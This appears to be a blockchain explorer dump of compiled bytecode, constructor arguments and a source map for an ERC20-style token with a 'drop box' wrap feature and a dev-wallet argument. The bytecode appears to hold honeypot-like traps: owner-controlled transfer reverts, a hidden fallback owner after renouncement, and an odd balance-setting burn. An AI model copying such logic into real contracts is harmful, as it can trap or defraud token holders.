600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562001358576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200134f90620029cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620013cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620013c29062002a63565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620014ab919062001f65565b60405180910390a3505050565b6000620014c6848462000ccf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811462001546578181101562001536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200152d9062002ad5565b60405180910390fd5b620015458484848403620012e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415620015bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015b69062002b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562001632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620016299062002c05565b60405180910390fd5b6200163f83838362001bcb565b600560006200164d62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620016e457620016e38362001bd0565b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200176e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620017659062002c9d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620018059190620024cc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200186b919062001f65565b60405180910390a36200188084848462001c9e565b50505050565b62001890620012dd565b73ffffffffffffffffffffffffffffffffffffffff16620018b062001bb5565b73ffffffffffffffffffffffffffffffffffffffff161462001909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019009062002d0f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200197e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019759062002da7565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562001a08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019ff9062002e3f565b60405180910390fd5b81600d5462001a18919062002e61565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825462001a6f919062002e61565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001ad6919062001f65565b60405180910390a362001aec8360008462001c9e565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008062001bc262001ca3565b90508091505090565b505050565b60006004600062001be062001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162001c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162001c929062002f12565b60405180910390fd5b50565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462001d205760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662001d44565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b61082f8062002f3583390190565b600081519050919050565b600082825260208201905092915050565b60005b8381101562001d9357808201518184015260208101905062001d76565b8381111562001da3576000848401525b50505050565b6000601f19601f8301169050919050565b600062001dc78262001d57565b62001dd3818562001d62565b935062001de581856020860162001d73565b62001df08162001da9565b840191505092915050565b6000602082019050818103600083015262001e17818462001dba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062001e608262001e33565b9050919050565b62001e728162001e53565b811462001e7e57600080fd5b50565b60008135905062001e928162001e67565b92915050565b6000819050919050565b62001ead8162001e98565b811462001eb957600080fd5b50565b60008135905062001ecd8162001ea2565b92915050565b6000806040838503121562001eed5762001eec62001e29565b5b600062001efd8582860162001e81565b925050602062001f108582860162001ebc565b9150509250929050565b60008115159050919050565b62001f318162001f1a565b82525050565b600060208201905062001f4e600083018462001f26565b92915050565b62001f5f8162001e98565b82525050565b600060208201905062001f7c600083018462001f54565b92915050565b60008060006060848603121562001f9e5762001f9d62001e29565b5b600062001fae8682870162001e81565b935050602062001fc18682870162001e81565b925050604062001fd48682870162001ebc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011262002006576200200562001fde565b5b8235905067ffffffffffffffff81111562002026576200202562001fe3565b5b60208301915083602082028301111562002045576200204462001fe8565b5b9250929050565b60008060006040848603121562002068576200206762001e29565b5b600084013567ffffffffffffffff81111562002089576200208862001e2e565b5b620020978682870162001fed565b93509350506020620020ac8682870162001ebc565b9150509250925092565b600060ff82169050919050565b620020ce81620020b6565b82525050565b6000602082019050620020eb6000830184620020c3565b92915050565b6000602082840312156200210a576200210962001e29565b5b60006200211a8482850162001ebc565b91505092915050565b6000602082840312156200213c576200213b62001e29565b5b60006200214c8482850162001e81565b91505092915050565b600080604083850312156200216f576200216e62001e29565b5b60006200217f8582860162001e81565b9250506020620021928582860162001e81565b9150509250929050565b620021a78162001e53565b82525050565b6000602082019050620021c460008301846200219c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620022048262001da9565b810181811067ffffffffffffffff82111715620022265762002225620021ca565b5b80604052505050565b60006200223b62001e1f565b9050620022498282620021f9565b919050565b600067ffffffffffffffff8211156200226c576200226b620021ca565b5b602082029050602081019050919050565b6000620022946200228e846200224e565b6200222f565b90508083825260208201905060208402830185811115620022ba57620022b962001fe8565b5b835b81811015620022e75780620022d2888262001e81565b845260208401935050602081019050620022bc565b5050509392505050565b600082601f83011262002309576200230862001fde565b5b81356200231b8482602086016200227d565b91505092915050565b6200232f8162001f1a565b81146200233b57600080fd5b50565b6000813590506200234f8162002324565b92915050565b600080604083850312156200236f576200236e62001e29565b5b600083013567ffffffffffffffff81111562002390576200238f62001e2e565b5b6200239e85828601620022f1565b9250506020620023b1858286016200233e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200240357607f821691505b602082108114156200241a5762002419620023bb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200248b8262001e98565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415620024c157620024c06200244f565b5b600182019050919050565b6000620024d98262001e98565b9150620024e68362001e98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200251e576200251d6200244f565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006200258760258362001d62565b9150620025948262002529565b604082019050919050565b60006020820190508181036000830152620025ba8162002578565b9050919050565b7f44726f7020626f7820616c7265616479206578697374732e0000000000000000600082015250565b6000620025f960188362001d62565b91506200260682620025c1565b602082019050919050565b600060208201905081810360008301526200262c81620025ea565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b60006200266b601a8362001d62565b9150620026788262002633565b602082019050919050565b600060208201905081810360008301526200269e816200265c565b9050919050565b6000604082019050620026bc60008301856200219c565b620026cb602083018462001f54565b9392505050565b7f596f75206d7573742063726561746520612064726f7020626f7820666972737460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b60006200273060218362001d62565b91506200273d82620026d2565b604082019050919050565b60006020820190508181036000830152620027638162002721565b9050919050565b6000815190506200277b8162001ea2565b92915050565b6000602082840312156200279a576200279962001e29565b5b6000620027aa848285016200276a565b91505092915050565b7f4e6f7420656e6f75676820436f696e20696e2064726f7020626f782e00000000600082015250565b6000620027eb601c8362001d62565b9150620027f882620027b3565b602082019050919050565b600060208201905081810360008301526200281e81620027dc565b9050919050565b6000819050919050565b6000620028506200284a620028448462001e33565b62002825565b62001e33565b9050919050565b600062002864826200282f565b9050919050565b6000620028788262002857565b9050919050565b6200288a816200286b565b82525050565b6000604082019050620028a7600083018562001f54565b620028b660208301846200287f565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200291b60268362001d62565b91506200292882620028bd565b604082019050919050565b600060208201905081810360008301526200294e816200290c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620029b360248362001d62565b9150620029c08262002955565b604082019050919050565b60006020820190508181036000830152620029e681620029a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062002a4b60228362001d62565b915062002a5882620029ed565b604082019050919050565b6000602082019050818103600083015262002a7e8162002a3c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600062002abd601d8362001d62565b915062002aca8262002a85565b602082019050919050565b6000602082019050818103600083015262002af08162002aae565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062002b5560258362001d62565b915062002b628262002af7565b604082019050919050565b6000602082019050818103600083015262002b888162002b46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600062002bed60238362001d62565b915062002bfa8262002b8f565b604082019050919050565b6000602082019050818103600083015262002c208162002bde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600062002c8560268362001d62565b915062002c928262002c27565b604082019050919050565b6000602082019050818103600083015262002cb88162002c76565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062002cf760208362001d62565b915062002d048262002cbf565b602082019050919050565b6000602082019050818103600083015262002d2a8162002ce8565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062002d8f60218362001d62565b915062002d9c8262002d31565b604082019050919050565b6000602082019050818103600083015262002dc28162002d80565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600062002e2760228362001d62565b915062002e348262002dc9565b604082019050919050565b6000602082019050818103600083015262002e5a8162002e18565b9050919050565b600062002e6e8262001e98565b915062002e7b8362001e98565b92508282101562002e915762002e906200244f565b5b828203905092915050565b7f4e6f7420656e6f75676820696e2064726f70426f782c20706c6561736520777260008201527f6170206d6f726520636f696e732e000000000000000000000000000000000000602082015250565b600062002efa602e8362001d62565b915062002f078262002e9c565b604082019050919050565b6000602082019050818103600083015262002f2d8162002eeb565b905091905056fe608060405234801561001057600080fd5b503380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061006f61006461007560201b60201c565b61007d60201b60201c565b50610141565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6106df806101506000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063715018a6146100515780638d3c100a1461005b5780638da5cb5b14610077578063f2fde38b14610095575b600080fd5b6100596100b1565b005b6100756004803603810190610070919061049f565b6100c5565b005b61007f610145565b60405161008c91906104ee565b60405180910390f35b6100af60048036038101906100aa9190610535565b61016e565b005b6100b96101f2565b6100c36000610270565b565b6100cd6101f2565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6100f1610145565b846040518363ffffffff1660e01b815260040161010f929190610571565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101766101f2565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dd9061061d565b60405180910390fd5b6101ef81610270565b50565b6101fa610334565b73ffffffffffffffffffffffffffffffffffffffff1661021861033c565b73ffffffffffffffffffffffffffffffffffffffff161461026e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026590610689565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600080610347610350565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103cb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103ef565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b6000819050919050565b61040c816103f9565b811461041757600080fd5b50565b60008135905061042981610403565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061045a8261042f565b9050919050565b600061046c8261044f565b9050919050565b61047c81610461565b811461048757600080fd5b50565b60008135905061049981610473565b92915050565b600080604083850312156104b6576104b56103f4565b5b60006104c48582860161041a565b92505060206104d58582860161048a565b9150509250929050565b6104e88161044f565b82525050565b600060208201905061050360008301846104df565b92915050565b6105128161044f565b811461051d57600080fd5b50565b60008135905061052f81610509565b92915050565b60006020828403121561054b5761054a6103f4565b5b600061055984828501610520565b91505092915050565b61056b816103f9565b82525050565b600060408201905061058660008301856104df565b6105936020830184610562565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061060760268361059a565b9150610612826105ab565b604082019050919050565b60006020820190508181036000830152610636816105fa565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061067360208361059a565b915061067e8261063d565b602082019050919050565b600060208201905081810360008301526106a281610666565b905091905056fea2646970667358221220472c3580ff5a92986db622a74012d4054b00aaef85296bce3c5e1b179cbc6fea64736f6c63430008090033a2646970667358221220c960ccb26edd96d682ebce3491077da350a4fbb7ba2c8831af493600b6b6b7eb64736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007c04832c1a084ca2cc18c99e2e9bc5d5bcfd2594

-----Decoded View---------------
Arg [0] : _devWallet (address): 0x7c04832C1A084Ca2cC18C99e2E9bC5D5bCfD2594

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007c04832c1a084ca2cc18c99e2e9bc5d5bcfd2594


Deployed Bytecode Sourcemap

340:2592:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2389:100:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4739:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3508:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5520:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10937:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3351:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6224:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2835:94:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3679:127:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2731:103:4;;;:::i;:::-;;2669:158:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1955:87:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2608:104:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6965:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4012:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2332:232:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1386:234;;;:::i;:::-;;2572:89;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;635:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4268:151:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2108:216:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1628:472;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2989:201:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2389:100:2;2443:13;2476:5;2469:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2389:100;:::o;4739:201::-;4822:4;4839:13;4855:12;:10;:12::i;:::-;4839:28;;4878:32;4887:5;4894:7;4903:6;4878:8;:32::i;:::-;4928:4;4921:11;;;4739:201;;;;:::o;3508:108::-;3569:7;3596:12;;3589:19;;3508:108;:::o;5520:295::-;5651:4;5668:15;5686:12;:10;:12::i;:::-;5668:30;;5709:38;5725:4;5731:7;5740:6;5709:15;:38::i;:::-;5758:27;5768:4;5774:2;5778:6;5758:9;:27::i;:::-;5803:4;5796:11;;;5520:295;;;;;:::o;10937:222::-;1841:13:4;:11;:13::i;:::-;11033:9:2::1;11028:124;11052:10;;:17;;11048:1;:21;11028:124;;;11120:10;;11131:1;11120:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11096:44;;11105:13;;;;;;;;;;;11096:44;;;11135:4;11096:44;;;;;;:::i;:::-;;;;;;;;11071:3;;;;;:::i;:::-;;;;11028:124;;;;10937:222:::0;;;:::o;3351:92::-;3409:5;3434:1;3427:8;;3351:92;:::o;6224:238::-;6312:4;6329:13;6345:12;:10;:12::i;:::-;6329:28;;6368:64;6377:5;6384:7;6421:10;6393:25;6403:5;6410:7;6393:9;:25::i;:::-;:38;;;;:::i;:::-;6368:8;:64::i;:::-;6450:4;6443:11;;;6224:238;;;;:::o;2835:94:0:-;1841:13:4;:11;:13::i;:::-;2894:27:0::1;2900:12;:10;:12::i;:::-;2914:6;2894:5;:27::i;:::-;2835:94:::0;:::o;3679:127:2:-;3753:7;3780:9;:18;3790:7;3780:18;;;;;;;;;;;;;;;;3773:25;;3679:127;;;:::o;2731:103:4:-;1841:13;:11;:13::i;:::-;2796:30:::1;2823:1;2796:18;:30::i;:::-;2731:103::o:0;2669:158:0:-;2754:4;2777:27;:34;2805:5;2777:34;;;;;;;;;;;;;;;:42;2812:6;2777:42;;;;;;;;;;;;;;;;;;;;;;;;;2770:49;;2669:158;;;;:::o;1955:87:4:-;2001:7;2028:6;;;;;;;;;;;2021:13;;1955:87;:::o;2608:104:2:-;2664:13;2697:7;2690:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2608:104;:::o;6965:436::-;7058:4;7075:13;7091:12;:10;:12::i;:::-;7075:28;;7114:24;7141:25;7151:5;7158:7;7141:9;:25::i;:::-;7114:52;;7205:15;7185:16;:35;;7177:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7298:60;7307:5;7314:7;7342:15;7323:16;:34;7298:8;:60::i;:::-;7389:4;7382:11;;;;6965:436;;;;:::o;4012:193::-;4091:4;4108:13;4124:12;:10;:12::i;:::-;4108:28;;4147;4157:5;4164:2;4168:6;4147:9;:28::i;:::-;4193:4;4186:11;;;4012:193;;;;:::o;2332:232:0:-;1841:13:4;:11;:13::i;:::-;2429:9:0::1;2424:133;2448:8;:15;2444:1;:19;2424:133;;;2540:5;2485:27;:39;2513:10;2485:39;;;;;;;;;;;;;;;:52;2525:8;2534:1;2525:11;;;;;;;;:::i;:::-;;;;;;;;2485:52;;;;;;;;;;;;;;;;:60;;;;;;;;;;;;;;;;;;2465:3;;;;;:::i;:::-;;;;2424:133;;;;2332:232:::0;;:::o;1386:234::-;1470:1;1437:35;;:9;:21;1447:10;1437:21;;;;;;;;;;;;;;;;;;;;;;;;;:35;;;1429:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;1546:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;1514:9;:21;1524:10;1514:21;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;1601:10;1586:26;;;;;;;;;;;;1386:234::o;2572:89::-;1841:13:4;:11;:13::i;:::-;2648:5:0::1;2632:13;;:21;;;;;;;;;;;;;;;;;;2572:89:::0;:::o;635:44::-;;;;;;;;;;;;;;;;;;;;;;:::o;4268:151:2:-;4357:7;4384:11;:18;4396:5;4384:18;;;;;;;;;;;;;;;:27;4403:7;4384:27;;;;;;;;;;;;;;;;4377:34;;4268:151;;;;:::o;2108:216:0:-;2190:5;2165:21;2175:10;2165:9;:21::i;:::-;:30;;2157:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;2239:5;;;;;;;;;;;:14;;;2254:10;2266:5;2239:33;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2305:10;2288:28;;2298:5;2288:28;;;;;;;;;;2108:216;:::o;1628:472::-;1675:15;1693:9;:21;1703:10;1693:21;;;;;;;;;;;;;;;;;;;;;;;;;1675:39;;1752:1;1733:21;;:7;:21;;;;1725:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1840:5;1812;;;;;;;;;;;:15;;;1828:7;1812:24;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:33;;1804:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;1899:7;1891:24;;;1916:5;1923;;;;;;;;;;;1891:38;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1991:4;1940:27;:36;1968:7;:5;:7::i;:::-;1940:36;;;;;;;;;;;;;;;:48;1977:10;1940:48;;;;;;;;;;;;;;;;:55;;;;;;;;;;;;;;;;;;2045:5;2006:15;:27;2022:10;2006:27;;;;;;;;;;;;;;;:36;2034:7;:5;:7::i;:::-;2006:36;;;;;;;;;;;;;;;:44;;;;2081:10;2066:26;;2074:5;2066:26;;;;;;;;;;1664:436;1628:472;:::o;2989:201:4:-;1841:13;:11;:13::i;:::-;3098:1:::1;3078:22;;:8;:22;;;;3070:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3154:28;3173:8;3154:18;:28::i;:::-;2989:201:::0;:::o;601:98::-;654:7;681:10;674:17;;601:98;:::o;9799:380:2:-;9952:1;9935:19;;:5;:19;;;;9927:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10033:1;10014:21;;:7;:21;;;;10006:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10117:6;10087:11;:18;10099:5;10087:18;;;;;;;;;;;;;;;:27;10106:7;10087:27;;;;;;;;;;;;;;;:36;;;;10155:7;10139:32;;10148:5;10139:32;;;10164:6;10139:32;;;;;;:::i;:::-;;;;;;;;9799:380;;;:::o;10476:453::-;10611:24;10638:25;10648:5;10655:7;10638:9;:25::i;:::-;10611:52;;10698:17;10678:16;:37;10674:248;;10760:6;10740:16;:26;;10732:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10844:51;10853:5;10860:7;10888:6;10869:16;:25;10844:8;:51::i;:::-;10674:248;10600:329;10476:453;;;:::o;8561:800::-;8708:1;8692:18;;:4;:18;;;;8684:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8785:1;8771:16;;:2;:16;;;;8763:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8840:38;8861:4;8867:2;8871:6;8840:20;:38::i;:::-;8892:27;:36;8920:7;:5;:7::i;:::-;8892:36;;;;;;;;;;;;;;;:42;8929:4;8892:42;;;;;;;;;;;;;;;;;;;;;;;;;8889:121;;;8966:16;8977:4;8966:10;:16::i;:::-;8889:121;9020:19;9042:9;:15;9052:4;9042:15;;;;;;;;;;;;;;;;9020:37;;9091:6;9076:11;:21;;9068:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;9208:6;9194:11;:20;9176:9;:15;9186:4;9176:15;;;;;;;;;;;;;;;:38;;;;9253:6;9236:9;:13;9246:2;9236:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;9292:2;9277:26;;9286:4;9277:26;;;9296:6;9277:26;;;;;;:::i;:::-;;;;;;;;9316:37;9336:4;9342:2;9346:6;9316:19;:37::i;:::-;8673:688;8561:800;;;:::o;2120:127:4:-;2190:12;:10;:12::i;:::-;2179:23;;:7;:5;:7::i;:::-;:23;;;2171:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2120:127::o;885:493:0:-;988:1;969:21;;:7;:21;;;;961:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1045:22;1070:9;:18;1080:7;1070:18;;;;;;;;;;;;;;;;1045:43;;1125:6;1107:14;:24;;1099:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;1219:6;1208:8;;:17;;;;:::i;:::-;1187:9;:18;1197:7;1187:18;;;;;;;;;;;;;;;:38;;;;1252:6;1236:12;;:22;;;;;;;:::i;:::-;;;;;;;;1300:1;1274:37;;1283:7;1274:37;;;1304:6;1274:37;;;;;;:::i;:::-;;;;;;;;1322:48;1342:7;1359:1;1363:6;1322:19;:48::i;:::-;950:428;885:493;;:::o;3350:191:4:-;3424:16;3443:6;;;;;;;;;;;3424:25;;3469:8;3460:6;;:17;;;;;;;;;;;;;;;;;;3524:8;3493:40;;3514:8;3493:40;;;;;;;;;;;;3413:128;3350:191;:::o;2255:125::-;2298:7;2318:14;2335:13;:11;:13::i;:::-;2318:30;;2366:6;2359:13;;;2255:125;:::o;11927::2:-;;;;:::o;11169:158::-;11267:1;11232:15;:24;11248:7;:5;:7::i;:::-;11232:24;;;;;;;;;;;;;;;:32;11257:6;11232:32;;;;;;;;;;;;;;;;:36;11224:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;11169:158;:::o;12656:124::-;;;;:::o;3549:113:4:-;3594:7;3636:1;3620:18;;:6;;;;;;;;;;:18;;;:34;;3648:6;;;;;;;;;;3620:34;;;3641:4;;;;;;;;;;;3620:34;3613:41;;3549:113;:::o;-1:-1:-1:-;;;;;;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;